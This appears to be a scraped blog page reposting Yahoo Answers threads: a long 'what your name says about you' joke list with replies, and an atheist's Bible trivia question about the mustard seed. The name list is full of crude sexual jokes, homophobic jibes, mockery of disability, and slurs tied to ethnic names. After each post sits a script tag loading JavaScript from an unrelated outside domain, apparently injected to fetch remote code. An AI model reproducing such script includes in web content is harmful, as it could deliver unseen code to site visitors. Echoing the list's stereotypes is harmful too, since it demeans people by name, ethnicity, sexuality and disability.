/>Menno - built like a horse. Only does it doggy.<br><br /><br />Michael - very good looking but he%26#039;ll do anything for a girl. Doesn%26#039;t like<br><br /><br />to work too hard. Sexual deviant<br><br /><br />Mick - always drunk, tendency for drug abuse.<br><br /><br />Mintesh - boy racer, the ******** who drives with the stereo too loud and<br><br /><br />the windows down even though it%26#039;s cold!<br><br /><br />Mitchell - big bloke, sweats a lot, usually pure alcohol.<br><br /><br />Mohammed - small penis, but still really enjoys playing with it.<br><br /><br />Nathan - stupid as hell, and tends to make others feel dumb.<br><br /><br />Nick - inbred - can%26#039;t get past the missionary position though.<br><br /><br />Neil - sweet and will do anything in this world for you, great in bed but<br><br /><br />only on his own.<br><br /><br />Noel - only goes out with girls so that he can steal their clothes.<br><br /><br />Oliver - likes men but is in denial.<br><br /><br />Oscar - complete loser, hated by his parents.<br><br /><br />Owen - cute gay guy who is immature, and sings Welsh songs.<br><br /><br />Patrick - drunk, drunk, drunk.<br><br /><br />Paul - cool, calm and handsome, a quality only found in gays.<br><br /><br />Peter - Likes sheep more than girls, will probably end up married to a relative.<br><br /><br />Phillip - homophobic, image conscious twat, likes to **** poodles.<br><br /><br />Ramsey - thinks he%26#039;s posh but is actually a knob.<br><br /><br />Raymond - doesn%26#039;t like to be called Ray because it sounds too %26#039;straight%26#039;.<br><br /><br />Richard - can%26#039;t see his feet as balls are too big<br><br /><br />Ricky - ugly shithead who everybody hates.<br><br /><br />Rikki - see above, but can%26#039;t even spell.<br><br /><br />Rob - constantly watches porn.<br><br /><br />Robin - Ugly and not very bright, probably a teacher.<br><br /><br />Roger - acts like a wanker when drunk ... Permanently drunk!<br><br /><br />Rory - men are only nice to him so they can talk to his sister.<br><br /><br />Roy - total loser and computer genius.<br><br /><br />Rupert - arrogant twat who is crap in bed but thinks he is a stud.<br><br /><br />Russell - likes to play in the leaves which makes him an ********. Pantomime dame<br><br /><br />Ryan - short and stout, but popular.<br><br /><br />Sam - wannabe sex machine.<br><br /><br />Sandeep - complete anorak, owns a metal detector.<br><br /><br />Sean - thinks he%26#039;s James Bond, in reality a dipstick.<br><br /><br />Scott - has serious disabilities. likes winter sports<br><br /><br />Sean - has small deformed testicles and no friends.<br><br /><br />Seth - so sweet to other people but is a traitor.<br><br /><br />Shane - cute gay guy who is immature, and sings Welsh songs.<br><br /><br />Shannon - like the, river wet and full of ****.<br><br /><br />Shaun - bit of a hard bastard, thinks women love him.<br><br /><br />Simon - likes a night out with the lads and curries. Talks bollocks.<br><br /><br />Sonny - thinks he%26#039;s tough and proves it with young girls and boys.<br><br /><br />Spencer - thinks everybody wants to shag him - he%26#039;s a virgin<br><br /><br />Steve - popular and funny when looked at side-on.<br><br /><br />Stuart - loves it right up there, normally with a toilet roll and a hamster<br><br /><br />Taylor - Gay, gay, gay, gay ....<br><br /><br />Terry - small and wirey with a nasty temper.<br><br /><br />Tim - hot but a bit strange, can never tell where he is.<br><br /><br />Toby - best blow ever.<br><br /><br />Tom - cool but can be very arrogant.<br><br /><br />Tomas - part-druid, likes to dance round things naked.<br><br /><br />Tony - hot, sweet, and totally fun to be around. tendency to megalomania<br><br /><br />Travis - fat and horny with the best XXX collection to be found.<br><br /><br />Trevor - sweet and funny but sometimes untrustworthy.<br><br /><br />Troy - cute and popular.<br><br /><br />Tyrone - Big bloke with a gay moustache, but nobody dares tell him.<br><br /><br />Ty - small and kind of shrivelled.<br><br /><br />Var - adventurous type, can%26#039;t sit quietly and so is very annoying.<br><br /><br />Wade - huge bloke, people jog round him and have to stop halfway for a rest.<br><br /><br />Walter - Rich, but with no taste in anything, so the money is a bit of a waste.<br><br /><br />Wasim - Good at sport. Likes bondage. Intelligent.<br><br /><br />Warren - cool, homosexual guy. Picks his nose alot.<br><br /><br />Wesley - great guy and easy to not notice.<br><br /><br />Will - wishes he were popular.<br><br /><br />William - not very tall, but ultra-cool.<br><br /><br />Zach - sweet and polite and twisted.<br><br /><br />Zahid - devious and sly. Not to be trusted.*<br><br /><br /><br><br /><br />--------------------------------------...<br><br /><br /><br><br /><br />The Women%26#039;s Names<br><br /><br /><br><br /><br />Abby - agony aunt, always willing to explain about your confused sexuallity.<br><br /><br />Ada - blue haired, smells of wee.<br><br /><br />Adie - quiet and shy, but when you get to know her .. quiet and shy.<br><br /><br />Aileen - laughs like a demented dog. likes tic tacs.<br><br /><br />Alana - pretty and popular, but with very dark secrets.<br><br /><br />Alexandra - popular but very loud, sometimes forgets to bathe.<br><br /><br />Alice - likes horses but looks like Kermit%26#039;s girlfriend.<br><br /><br />Alicia - pretty and knows it, watches herslf go by in shop windows.<br><br /><br />Alison - bra and pants are the same garment, looks better with the light off.<br><br /><br />Alyssa - wants to be %26#039;exotic%26#039;, but only manages to be %26#039;strange%26#039;.<br><br /><br />Amanda - I.Q. smaller than her bra size, a good shag, but she does practice a lot.<br><br /><br />Amber - stereotypical exotic dancer, not too bright but very flexible.<br><br /><br />Amy - Devious, Likes being on top, never stays the night - Not to be trusted. Likes any man not wearing trousers<br><br /><br />Anastasia - overly-loud, wears clothes 2 sizes too small.<br><br /><br />Andrea - Small breasts, small ****, drinks pints and plays a mean game of pool.<br><br /><br />Andrina - dark and sultry, pretends she%26#039;s a Russian spy.<br><br /><br />Angela - Vain, Hair style more important than oxygen. Usually found hanging around toilets.<br><br /><br />Anita - Beautiful girl with perfect hair and a body to die for.<br><br /><br />Annabelle - Doesn%26#039;t wear knickers.<br><br /><br />Annette - She%26#039;s BIG, like really BIG!!.<br><br /><br />Anne - Looks like a horse, can%26#039;t drive.<br><br /><br />Anne-Marie - Gorgeous and with a great taste in blokes, has perfectly<br><br /><br />formed breasts<br><br /><br />Annie - Drinks too much, always wakes up next to ugly guys.<br><br /><br />Ashlee - Dyslexic and spends all day thinking about sex.<br><br /><br />Aurora - Beautiful and sexy, every mans dream, but sadly swings the other way.<br><br /><br />Azaria - Beautiful and exotic with the brain power of an orchid.<br><br /><br />Barbara - Shags like a rabbit, not fussy about appearance. Wears alot of make up<br><br /><br />Bea - Beautiful, sexy, original, but nearly impossible to satisfy in bed.<br><br /><br />Becky - one of the boys, knows about football and cars, unusually tall.<br><br /><br />Belinda - Pleasing on the eye, usually has a couple of good points.<br><br /><br />Beryl - Repressed alcoholic.<br><br /><br />Beth - Empty headed, big breasted, and easy.<br><br /><br />Bettina - Dominatrix.<br><br /><br />Beverley - Trapped in an eighties time warp.<br><br /><br />Bianca - Ginger. Big mouth.<br><br /><br />Birgit - big scary woman, likes small blokes she can intimidate.<br><br /><br />Bridgette - Eats pizzas all day, smokes cigars.<br><br /><br />Britney - Falsely improved, no use to society.<br><br /><br />Cait - Bow-legged country girl, really loves her horses.<br><br /><br />Camilla - replaces the word %26#039;yes%26#039; with %26#039;ya%26#039;.<br><br /><br />Cara - lazy girl, eats too much junk-food and yet doesn%26#039;t get fat - annoying.<br><br /><br />Carie - just like the movie, a scary freak.<br><br /><br />Carina - Looks like the back of a bus, doesn%26#039;t swallow.<br><br /><br />Carla - Down to earth with good child-bearing hips.<br><br /><br />Carly - Party animal until she gets too drunk to stand up.<br><br /><br />Carol - Bubbly, life and soul of the party and the bedroom.<br><br /><br />Caroline - Lard ****, shaves her ears, picks her nose and shops at oxfam.<br><br /><br />Catherine - Attracted to the older man, needs ironing.<br><br /><br />Celine - Emits hideous noises, waste of DNA.<br><br /><br />Charlotte - Enjoys tea and cake, farts the national anthem.<br><br /><br />Chaz - life and soul of the party, plays the piano and then strips to her own music.<br><br /><br />Cheryl - Can fit hand in mouth, eats glass.<br><br /><br />Chloe - Usually a weather-girl or a failed wannabe weather-girl.<br><br /><br />Christine - Likes men in uniform, never warm.<br><br /><br />Christina - Drop dead gorgeous and with a different bloke each night, well practiced.<br><br /><br />Ciji - strange girl, sleeps with a vibrating teddy-bear.<br><br /><br />Claire/Clare/Clair - Usually neurotic, gives good head but can have lesbian tendencies.<br><br /><br />Courtney - Bit of a %26#039;tomboy%26#039;, rolls her own tampons.<br><br /><br />Daisy - Virgin, works on a farm because she likes the way the tractor vibrates.<br><br /><br />Danni - Should make nice threesome with sibling.<br><br /><br />Davina - drug induced mental damage, should shave her neck.<br><br /><br />Dawn - Gets up early, smells of chips.<br><br /><br />Debra/Debby - Porn star.<br><br /><br />Deborah - Bites the pillow, uses both hands.<br><br /><br />Dee - Enormous mouth, gets a lot of work in porn movies.<br><br /><br />DeeDee - cannot understand why no-one else masturbates in Ikea.<br><br /><br />Denise - Sits on cats eyes, wears too much make up.<br><br /><br />Di - Enjoys receiving oral sex, but doesn%26#039;t like giving it.<br><br /><br />Diana - Cuddly, which is a shame because she smells like cheese.<br><br /><br />Diane - Enjoys company of animals. Deep as a puddle.<br><br /><br />Donna - 70%26#039;s throw back, likes cabbage.<br><br /><br />Dorthe - smells of herrings, obsessed with over-sized sex toys.<br><br /><br />Elaine - Rides side saddle, drinks meths. average breasts.. likes sharp edges.<br><br /><br />Eleanor - Very posh, always washing her hands, but likes her sex dirty.<br><br /><br />Elizabeth - Born to perform, hates chickens.<br><br /><br />Ella - Fiery temper, but when she%26#039;s not shouting she%26#039;s as cute as a kitten.<br><br /><br />Ellie - Far too attractive for the swear words that come out of her mouth.<br><br /><br />Ellen - Could well have eaten all the pies.<br><br /><br />Elma - Shy, easily dominated by men.<br><br /><br />Elsa - Kind of old fashioned, but with beautiful big hair.<br><br /><br />Emily - Wears odd socks, can have lesbian tendencies.<br><br /><br />Emma - Gullible and easily swayed by a good looker!<br><br /><br />Erminia - Small and graceful, slightly psychotic.<br><br /><br />Estelle - Likes wombles, eats grass.<br><br /><br />Esther - Plump with sagging breasts, normally heavily tattooed.<br><br /><br />Eve - Shy timid creature until she has a drink, then she becomes very loud.<br><br /><br />Evonne - Much happier now that the sex change operation was a success.<br><br /><br />Faith - Legs meet at knees, can%26#039;t shag standing up.<br><br /><br />Faye - Wears wellies, can%26#039;t swim.<br><br /><br />Felicity - One of the boys .. except that she has the most enormous nipples.<br><br /><br />Fern - Posh with a large mouth, can hold a conversation whilst giving head.<br><br /><br />Fiona - Female mud wrestler, badly needs a shave.<br><br /><br />Fiyza - Very sexy, she knows it and she flaunts it<br><br /><br />Francess - A lovely lady even if she is as common as muck!<br><br /><br />Frankie - Wears leather underwear, if it%26#039;s quiet you can hear her buzzing.<br><br /><br />Gabriel - An **** to die for but pads her bra with tissues.<br><br /><br />Gail - Farts a lot, drinks Guinness.<br><br /><br />Gayleen - Big tall woman who talks shite all day.<br><br /><br />Gaynor - Wanna-be Lesbian who can%26#039;t pull the girls.<br><br /><br />Gemma - Talks too much, even during sex, even during oral sex!<br><br /><br />Geraldine - Too posh for her own good, likes flying.<br><br /><br />Gillian - Dyes her hair green, likes clubbing.<br><br /><br />Gina - Eternal mother, eats nappies.<br><br /><br />Glenda - Eats children, hates smoking.<br><br /><br />Georgia - Loves her cakes, would rather have gateau than sex.<br><br /><br />Georgina - Wants to be a man.<br><br /><br />Grace - petite and pretty, ***** like a rabbit.<br><br /><br />Grainne - Giggles excessively, sometimes wets herself.<br><br /><br />Gwyneth - Blubs a lot, wees in the bath.<br><br /><br />Hannah - Needs to be naked at all times, eats kebabs.<br><br /><br />Harriet - Wears tweed and green wellies to the pub.<br><br /><br />Hayley - Pretty, likes fast cars and slow men.<br><br /><br />Heather - Shags like a freight train, bit of a screamer.<br><br /><br />Helen - Hangs around with the wrong crowd, Kinky in bed, loves porn and is totally neurotic.<br><br /><br />Helena - Likes to be in charge, wears a lot of black rubber.<br><br /><br />Heidi - The hills are alive with the sound of music, likes gherkins, hates Nazis.<br><br /><br />Hilary - Frigid.<br><br /><br />Holly - Prickly to the touch, seasonal shagmeister.<br><br /><br />Imogen - Drinks tequila from the bottle, wets the bed.<br><br /><br />Ingrid - Right wing Nazi tendencies, never smiles.<br><br /><br />Isobel - Motorbike gang leader, sells guns for pocket money.<br><br /><br />Jackie - Heroin addict, sold her child.<br><br /><br />Jade - I once had a Jade, but hasn%26#039;t everybody??<br><br /><br />Jalaine - Strange, introverted girl, secretly into plastic model aeroplanes.<br><br /><br />Janet - Massive over bite, no neck.<br><br /><br />Janette - She%26#039;s hot and she knows it, a prick-teaser.<br><br /><br />Janice - Loud and over-the-top, tends to talk with her hands.<br><br /><br />Jarla - Kinda like a female Ali-G only not as funny.<br><br /><br />Jasmin - Smells of sewers, eats the heads off rats.<br><br /><br />Jean - hangs around with old blokes and let%26#039;s them buy her stuff.<br><br /><br />Jemma - Does anal, wears too much eye make-up.<br><br /><br />Jenni - bone idle hence the tendency to shorten long words.<br><br /><br />Jennifer - Huge breasts, should shave her legs more often.<br><br /><br />Jessica - Always shags on the first date and sometimes even before it.<br><br /><br />Joanne/a - Moans in her sleep, moans when she wakes up, can%26#039;t cook.<br><br /><br />Jo - Bisexual and proud of it.<br><br /><br />Joelle - Lively, exciting, jolly and fun ... sometimes too much so!<br><br /><br />Josephine - Likes to be tied up and teased.<br><br /><br />Jody - Dresses like a boy and eats live frogs for breakfast.<br><br /><br />Joyce - Never stops talking ... for God%26#039;s sake shut up woman!<br><br /><br />Judith - Big eyes, big ****, big problem with ballance.<br><br /><br />Judy - Huge ****, married to a retard.<br><br /><br />Julia - Innocent face, don%26#039;t trust her, she%26#039;ll steal your wallet in five minutes<br><br /><br />Juliet - Eats too many chips, has greasy hair and a hairy ****.<br><br /><br />Justine - Massive ****, likes hanging around men%26#039;s toilets.<br><br /><br />Julie - Likes outdoor sex, preferably with a chance of getting caught.<br><br /><br />Kacie - cute and adorable, but prone to sulking.<br><br /><br />Karen - Huge ****, shags like a rabbit.<br><br /><br />Kate - kisses with her tongue and can hold a conversation whilst doing it.<br><br /><br />Katherine - old-fashioned girl, giggles when anyone mentions naughty words.<br><br /><br />Katy - Tom boy, likes her sex dirty, usually outdoors.<br><br /><br />Katie - likes blokes and team sports, preferably both together.<br><br /><br />Kayleigh - The Lara Croft of Essex, great in bed (practice makes perfect)<br><br /><br />Keira - person most likely to start a cult, related to Starlin.<br><br /><br />Kelly - smells of cheese, slobbers when kissing.<br><br /><br />Kelley - not very bright, can%26#039;t spell Kelly.<br><br /><br />Kelsey - Very clever, wears glasses, boys scare her.<br><br /><br />Kerran - tries to be mysterious, but everyone has been there.<br><br /><br />Kerry - pretty, cute, and changes underwear once a week.<br><br /><br />Kiersten - very sexy to look at, hard to please in bed.<br><br /><br />Kimberley - wants to be a bloke, drinks like a bloke, farts like a bloke, wears a wig.<br><br /><br />Kirsty - Eats live moles, can%26#039;t dance.<br><br /><br />Krista - Cool and pretty, tends to daydream all day and sleepwalk all night.<br><br /><br />Kristy - Shy until she gets drunk, prone to spots.<br><br /><br />Kristen - Emotionally stunted, thinks Robot-Wars is cruel and should be banned.<br><br /><br />Kylie - Can%26#039;t sing but who cares ... lovely ****.<br><br /><br />Lana - Hated by her parents, accidental pregnancy.<br><br /><br />Lara - Action packed, never seen naked.<br><br /><br />Laura - Likes Max power magazine, can%26#039;t drive. Dominatrix<br><br /><br />Lauren – Pert breasts, seldom ventures out at night.<br><br /><br />Leah - Likes outdoor sex, wees standing up.<br><br /><br />Leanne - eats a lot of raw meat, most guys are scared of her.<br><br /><br />Lena - Eats food then throws up, rapidly shrinking.<br><br /><br />Leonie - Tall girl who likes short boys, it%26#039;s a power thing.<br><br /><br />Leslie - Likes bondage, hates men.<br><br /><br />Leyla - Hot and horny, the girl that always will.<br><br /><br />Lily - Makes a good friend, doesn%26#039;t take crap from anyone.<br><br /><br />Linda - Teenage bride can swallow oranges whole.<br><br /><br />Lindsey - Likes doggy style, doesn%26#039;t do housework.<br><br /><br />Lisa - Will take all your money and run, gets turned on by porn.<br><br /><br />Liz - Long legged and brainy.<br><br /><br />Lizbeth - Sensible and serious, can talk without moving her lips.<br><br /><br />Lorraine - Constantly whinges, will strip for a packet of jellybabies<br><br /><br />Lorrie - Named after the vehicle she weighs the same as.<br><br /><br />Louise/a - Likes to get around, fantastic breasts.<br><br /><br />Luci - cute and loveable<br><br /><br />Lucy - Strange dancer, wants to marry her dad.<br><br /><br />Lynn - Funny and sexy, everything a bloke wants in a woman.<br><br /><br />Lynnette - Has the attention span of a budgerigar, likes pretty things.<br><br /><br />Madeline - Drives like a bloke, likes tractors.<br><br /><br />Madusa - Really likes men, preferrably grilled with a side salad.<br><br /><br />Maggie - Trainspotter, likes plaid.<br><br /><br />Mairi - Quiet and shy but incredibly clever, secretly planning to take over the world.<br><br /><br />Mandy - Cute and cuddly, thick as a short plank.<br><br /><br />Margaret - Lovely mother, very generous.<br><br /><br />Maria - Bangs like a barn door.<br><br /><br />Marie - Life sapping dominatrix. Likes men to do DIY.<br><br /><br />Marina - No get up and go, rusty underwear.<br><br /><br />Marion - stuffs her bra with tissue, a bit cross-eyed.<br><br /><br />Marolyn - Eats like a horse, out stays her welcome.<br><br /><br />Martina - Ugly lesbian.<br><br /><br />Martine - Can%26#039;t act, can%26#039;t sing, nice ****.<br><br /><br />Mary - Likes men with long tongues and talented fingers.<br><br /><br />Matilda - Likes dancing, mainly the waltz.<br><br /><br />Mavis - seems nice until you notice the black cat, broomstick and pointed hat.<br><br /><br />Meg - Cheesy smell, should be spelt with an S.<br><br /><br />Meghan - Cold, hard-hearted *****, enjoys upsetting little children.<br><br /><br />Melanie - Can hold 2 bar vacuum orally indefinitely.<br><br /><br />Melinda - Trailer trash ... pretty, plump, and infected.<br><br /><br />Melissa - Eats dogs, has been in prison 6 times for burglary.<br><br /><br />Meryl - Dances like an ape, doesn%26#039;t realise.<br><br /><br />Michaela - Likes animals, should make a video with them.<br><br /><br />Michelle - Wears white stilettos, dances round her handbag.<br><br /><br />Marsha - Big butt, small brain.<br><br /><br />Molly - Pretty and naive, would like to be slimmer, wears clothes with too many flowers.<br><br /><br />Monica - Doesn%26#039;t swallow, should have.<br><br /><br />Nadine - Stunt Lady, can drink any bloke under the table! Don%26#039;t mess with her.<br><br /><br />Naomi - Wannabe diva, more of a diver.<br><br /><br />Nancy - White hair, remembers tanners.<br><br /><br />Narelle - Likes dressing up as a French maid but not French.<br><br /><br />Natalie - Eats with her mouth open, farts the Nokia phone tune.<br><br /><br />Natasha - Had seven kids before age 17, needs ironing.<br><br /><br />Nell - Hasn%26#039;t realised WWII has ended, lives in Kent.<br><br /><br />Niamh - Quiet and cute, secretly wears mens under-wear.<br><br /><br />Nicci - Pretty, blonde, nicely dressed and vacant.<br><br /><br />Nichola - quiet, studious type, wears glasses, a tiger in bed.<br><br /><br />Nicola - Slapper, alcoholic in denial.<br><br /><br />Nicole - small sweet and with nice hair, should wear underwear more often.<br><br /><br />Niki - wannabe mysterious spy but not bright enough.<br><br /><br />Nina - Stuffs her bra with tissues, been single for years.<br><br /><br />Nissa - speach impediment causes her to hiss, fond of reptiles.<br><br /><br />Olga - You can park a bike in her **** crack, excessive facial hair.<br><br /><br />Olive - usually accompanied by a couple of people in white coats.<br><br /><br />Olivia - Gorgeous and knows it, has to sew herself into her trousers..<br><br /><br />Olwyn - stupid name, welsh, just unlucky I guess.<br><br /><br />Pamela - Gives amazing head, made of plastic.<br><br /><br />Patricia - Obsessive about appearances, yet denies that she%26#039;s shallow.<br><br /><br />Pat - short and common, one of the lads and a bit of a laff.<br><br /><br />Paula - Transvestite merchant banker from Basildon.<br><br /><br />Peggy - Wears outdated clothes and will only do missionary position.<br><br /><br />Penelope - Pitstop queen, likes her men to be stiff.<br><br /><br />Peta - Rough and tough, seriously into bondage.<br><br /><br />Phillippa - Forest forager, likes wild boar.<br><br /><br />Phyliss - Thinks sex is dirty, always washing her hands.<br><br /><br />Polly - nice girl with really bad dress-sense, fashion disaster, it%26#039;s a shame.<br><br /><br />Priscilla - likes painting with oils, Duckhams mainly.<br><br /><br />Preya - can%26#039;t cook or clean but good in bed.<br><br /><br />Prudence - sensible girl, wears flat shoes, but will shag anything in trousers.<br><br /><br />Rachel - Amazing gravity defying breasts, can grip a tenner in her arsecheeks.<br><br /><br />Rebecca - Hairy armpits, orgasms without contact.<br><br /><br />Rebekah - Not very bright, pretty, but sometimes forgets to bathe.<br><br /><br />Renee - Huge breasts, but wishes blokes would notice her mind.<br><br /><br />Romany - Wild and beautiful, swings both ways.<br><br /><br />Rosalind - Upper-class lady but works as a secret agent when the government needs her.<br><br /><br />Rose - Can be prickly, gives good head.<br><br /><br />Rosemary - Very shy, nearly always seen with a bright red face.<br><br /><br />Roz - Only enjoys sex when she%26#039;s tied up and spanked first.<br><br /><br />Rula - She measures up well.<br><br /><br />Ruth - Has stretch marks around her mouth.<br><br /><br />Sadie - Stand up if you%26#039;re slim, please stand up.<br><br /><br />Sally - Drives a Mustang, fights in pubs.<br><br /><br />Samantha - Loves her brother, has 4 deformed children.<br><br /><br />Sandra - Shags donkeys for fun, bow legged.<br><br /><br />Sara - Air-head, with a gorgeous body to compensate.<br><br /><br />Sarah - intelligent, funny and very talented when it comes to the naughty stuff.<br><br /><br />Sarah-Jane - %26#039;posh%26#039; girl, will screw anything in a BMW.<br><br /><br />Sasha – Looks dreadful the morning after. Smokes cigars<br><br /><br />Selina - Doesn%26#039;t wear pants, heavy laundry bills.<br><br /><br />Shannon - Beautiful, curvaceous, should be a model.<br><br /><br />Sharon - The original ***** queen, uses everyone she meets.<br><br /><br />Shauna - Lives in a trailer, has 16 kids each with a different surname.<br><br /><br />Shelly - very cute, but a bit of a soft-hearted slapper.<br><br /><br />Sheree - Cute, but very loud! desperately needs a volume control.<br><br /><br />Shirley - Can swallow a Curly Whirly whole, likes bananas.<br><br /><br />Shona - Librarian by day, exotic dancer by night.<br><br /><br />Sinead - Wears big knickers and a vest, but is secretly very sexual.<br><br /><br />Sian - Does mean sheep impression, hates mint sauce.<br><br /><br />Silka - Appears shy, but secretly Miss Whiplash the dominatrix.<br><br /><br />Silke - Only ever has sex outdoors near her favourite tree.<br><br /><br />Simone - Used to be a shotputter from Cardiff.<br><br /><br />Sonya – intelligent, funny and very talented when it comes to the naughty stuff.<br><br /><br />Sophia - Beautiful girl with long legs, a shame her **** is the size of a small country.<br><br /><br />Sophie - Brothel manager because she%26#039;s too ugly to be a working girl.<br><br /><br />Stacey - Likes cut off jeans and arseless Speedo%26#039;s.<br><br /><br />Steffi - Closet lesbian, maintains heterosexual relationship for effect.<br><br /><br />Stella - reassuringly expensive, she%26#039;s worth every penny!<br><br /><br />Stephanie - Eats Muppets, wears Brogues.<br><br /><br />Sue/Susanne - should shave more often, wears Denim aftershave. Very fertile.<br><br /><br />Summer - wears flowers in her hair, a pretty dress, and no knickers.<br><br /><br />Sylvia - loves the outdoors. Mad.<br><br /><br />Tammy - Kind-hearted and generous, particularly in the bedroom.<br><br /><br />Tanya/Tania - Hot minx, too short.<br><br /><br />Tara - Upper class slapper, enjoys ranom chemicals.<br><br /><br />Teresa - surprisingly small given the amount of alcohol she drinks.<br><br /><br />Tina - Face like a smacked ****, should eat less.<br><br /><br />Tori - Lives in a hedge, can%26#039;t water ski.<br><br /><br />Tracy - Easily swayed by alcohol. Mostly seen without underwear. Loves kittens.<br><br /><br />Tracey - Lesbian.<br><br /><br />Ursula - Likes puppies,usually in a hot curry.<br><br /><br />Val - usually drunk, doesn%26#039;t know where her knickers are.<br><br /><br />Valerie - quaint and old-fashioned, someones aunt.<br><br /><br />Vanessa - Beautiful, power-crazy *****.<br><br /><br />Veronica - closet lesbian who sleeps around to prove she isn%26#039;t!<br><br /><br />Vicki - Likes Yoga. And Women.<br><br /><br />Vikki - Drinks anything so long as it%26#039;s got vodka in it.<br><br /><br />Wendy - Possibly a man.<br><br /><br />Zakia - Wants to be a spy when she grows up, but needs to wash more often.<br><br /><br />Zoe - Talentless rock chick. Prepared to use sex as a weapon.<br><br /><br /><br><br /><br /> <br><br /><br /><br><br /><br /><br><br /><br />i forgot CONAN smart super cool,,irresistible<br><br /><br /><br><br /><br />Daryle- ugly but hung like a horse, prone to belly button fluff.<br><br /><br /><br><br /><br /><br><br /><br />cade------ gay, but very unhappy.<br><br /><br />epdug-------good person to talk to when you have a problem - his is worse.<br><br /><br />mikoy-----Funny and sexy, everything a bloke wants in a woman.<br><br /><br />genie-----Likes Max power magazine, can%26#039;t drive. Dominatrix<br><br /><br /><br><br /><br /><br><br /><br />Nova--Beautiful, power-crazy<br><br /><br /><br><br /><br /><br><br /><br />Colleen intelligent, funny and very talented when it comes to the naughty stuff.<br><br /><br /><br><br /><br />Anjan Very shy, nearly always seen with a bright red face<br><br /><br /><br><br /><br /><br><br /><br />Maren-Likes dancing, mainly the waltz.<br><br /><br />Dalton -only goes out with girls so that he can steal their clothes.<br><br /><br />Cory female -quiet, studious type, wears glasses, a tiger in bed<br><br /><br />male Kelly .the fat boy of the class, likes sweets and is full of ***<br><br /><br />Inga-Right wing Nazi tendencies, never smiles.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Poll....What your name say about you?<br>Jennifer - Huge breasts, should shave her legs more often.<br><br /><br />Let%26#039;s just say it%26#039;s halfway right.<br>Reply:what about mariah<br><br /><br />:) <span>Report It</span><br /> <br>Reply:mariah- Huge breasts, but wishes blokes would notice her mind. <span>Report It</span><br /> <br>Reply:aha i dont sew my self into my trousers! usually... <span>Report It</span><br /> <br>Reply:Well Eddy would be close to Edgar and im sometimes call that, lol My sisters name is Aurora though and she would like that description ,lol.<br>Reply:ok, my real name is hendrick? but henry is close enough,., i think that is so true,., i love science<br><br /><br /><br><br /><br /><br><br /><br />e=mc2<br>Reply:Mine says... stereotypical exotic dancer, not too bright but very flexible. Thats some funny stuff there... :D<br>Reply:Bullshite<br>Reply:my name isn%26#039;t on the list, my middle name is though<br><br /><br /><br><br /><br />Funny and sexy, everything a bloke wants in a woman<br>Reply:Awww,mines not up there...<br><br /><br /><br><br /><br />What do you have for Morgen???<br><br /><br /><br><br /><br /><br><br /><br />Marie - Life sapping dominatrix. Likes men to do DIY.<br><br /><br /> My middle name lmao<br>Reply:Well, mines 2/3 right....<br>Reply:My name is not on the list. My name is John Paul.<br>Reply:James - can%26#039;t handle his beer, smells of mayonaise and does wet farts.<br><br /><br /><br><br /><br />That%26#039;s messed up, I so can handle my beer. =|<br><br /><br /><br><br /><br />The other 2 are right. lmao<br>Reply:Stephanie - Eats Muppets, wears Brogues.<br><br /><br /><br><br /><br />Those shoes are gayyy<br>Reply:ok thats cool<br>Reply:completely false about me lol<br>Reply:my name is not on the list.<br>Reply:I shall reserve comment until edited........<br><br /><br /><br><br /><br /><br><br /><br />So much better...<br><br /><br /><br><br /><br />You dream of me .... awwww, I%26#039;m flattered.<br><br /><br />LOL<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-53568355291233400182011-11-18T00:41:00.002-08:002011-11-18T00:41:37.347-08:00Bible Trivia?? From an Atheist?Ok here is an easy one Jesus says in Matthew 13:31<br><br /><br />%26quot;Another parable put he forth unto them, saying, The kingdom of heaven is like to a grain of mustard seed, which a man took, and sowed in his field,Which indeed is the least of all seeds: but when it is grown, it is the greatest among herbs, and becometh a tree, so that the birds of the air come and lodge in the branches thereof.<br><br /><br /><br><br /><br />Which of the Following is a True statement<br><br /><br />A.) Jesus being the son of god should know that the mustard seed is not the smallest seed in the world...He probably shoulda asked his dad about that one.<br><br /><br />B.) The Smallest Seed is infact the epiphytic Orchid seed.<br><br /><br />C.) Jesus wasn%26#039;t really the son of god so he naturally could make a mistake<br><br /><br />D.) Mustard seeds don%26#039;t make trees<br><br /><br />E.) All of the Above<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Bible Trivia?? From an Atheist?<br>E, Ha-ha!<br>Reply:E!!! What do I win??<br>Reply:A.) %26quot;least%26quot; doesn%26#039;t = %26quot;smallest.%26quot; Check into that one. <br><br /><br />B.) See above (or assume he was talking within the context of the known world)<br><br /><br />C.) Possible. But, this is hardly the %26quot;mistake%26quot; you claim it is.<br><br /><br />D.) %26quot;tree%26quot; doesn%26#039;t = a massive oak with trunk, branches, and roots. (Or assume He was speaking colloquially to make a point).<br><br /><br />E. None of the above.<br><br /><br /><br><br /><br />EDIT @ OP:<br><br /><br /><br><br /><br />I do not doubt your intelligence or credentials. However, I am also seminary trained and understand the Greek and Hebrew (and Aramaic in a few spots, no?) The word translated %26quot;least%26quot; does not have to mean smallest in the %26quot;size%26quot; sense of the word, but can also mean %26quot;least%26quot; in the sense of %26quot;value.%26quot; <br><br /><br /><br><br /><br />One understanding would be that Jesus was saying that mustard seeds are a dime a dozen (least) but cultivating them into mature and useful plants makes them much, much more valuable in arid desert climate (greatest).<br><br /><br /><br><br /><br />Even failing this, Jesus was again speaking of the known world. Why would Jesus bother to teach about the epiphytic orchid seed if He had only three years to apprentice his followers?<br>Reply:That%26#039;s a good question but I think you%26#039;re getting caught up on the words and missing the application. Jesus used parables as one pointers to explain a point to people. <br><br /><br /><br><br /><br />Heaven is like: The Mustard seed (something very small) but becomes something very great (a tree)<br><br /><br /><br><br /><br />I have never heard of the epiphytic orchid seed, and the people Jesus was talking too may not have either, or the epiphytic orchid seed may not have turned into something great like a tree, so it might not have fit into the parable, but its the meaning of the parable that is important.<br><br /><br /><br><br /><br />I think its great that you are seeking some answers, the bible says %26quot;Seek and you shall find%26quot;, keep searching, its worth the effort to find the truth. Jesus has provided the way for all to have an opportunity to get to Heaven by dieing on the cross for their sins, accepting that free gift is the only way to get to Heaven. I%26#039;m scared for so many people that will reject Christ and spend an eternity burning in Hell. I hope that you will find the answer in time because one day it will be to late.<br>Reply:E.)<br><br /><br /><br><br /><br />Do I win??<br><br /><br /><br><br /><br />CRAP!! Someone won before me. I suck....<br>Reply:E!! Anyone with a brain knows that! Hey Gummy....Guess what 